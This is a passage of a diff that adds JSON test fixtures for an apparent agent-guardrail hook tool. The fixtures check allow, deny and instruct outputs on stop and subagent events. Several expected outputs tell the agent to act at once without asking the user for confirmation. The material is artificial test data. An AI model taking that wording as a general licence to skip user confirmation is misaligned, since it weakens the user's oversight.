"cli": "factory", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Stop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/Stop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..d8fbcc14 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Stop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Stop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/Stop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..fcef53a6 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Stop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/StopFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/StopFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..66ac4822 --- /dev/null +++ b/__tests__/parity/fixtures/factory/StopFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/StopFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/StopFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..f04447a4 --- /dev/null +++ b/__tests__/parity/fixtures/factory/StopFailure/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/StopFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/StopFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..f581dc86 --- /dev/null +++ b/__tests__/parity/fixtures/factory/StopFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/StopFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/StopFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..8939ca68 --- /dev/null +++ b/__tests__/parity/fixtures/factory/StopFailure/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/StopFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/StopFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..64b37671 --- /dev/null +++ b/__tests__/parity/fixtures/factory/StopFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/StopFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/StopFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..3f9daf85 --- /dev/null +++ b/__tests__/parity/fixtures/factory/StopFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/StopFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/StopFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..84555d63 --- /dev/null +++ b/__tests__/parity/fixtures/factory/StopFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/StopFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/StopFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..63414a49 --- /dev/null +++ b/__tests__/parity/fixtures/factory/StopFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/StopFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/StopFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..20868c21 --- /dev/null +++ b/__tests__/parity/fixtures/factory/StopFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/StopFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/StopFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..d82c0e87 --- /dev/null +++ b/__tests__/parity/fixtures/factory/StopFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/StopFailure/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/StopFailure/deny__tool-present__one-policy.json new file mode 100644 index 00000000..4a2ac927 --- /dev/null +++ b/__tests__/parity/fixtures/factory/StopFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/StopFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/StopFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..4f4ae53e --- /dev/null +++ b/__tests__/parity/fixtures/factory/StopFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/StopFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/StopFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..e4228e1b --- /dev/null +++ b/__tests__/parity/fixtures/factory/StopFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/StopFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/StopFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..7624938f --- /dev/null +++ b/__tests__/parity/fixtures/factory/StopFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/StopFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/StopFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..c010af04 --- /dev/null +++ b/__tests__/parity/fixtures/factory/StopFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/StopFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/StopFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..a84e4653 --- /dev/null +++ b/__tests__/parity/fixtures/factory/StopFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/SubagentStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..7b159ea2 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": 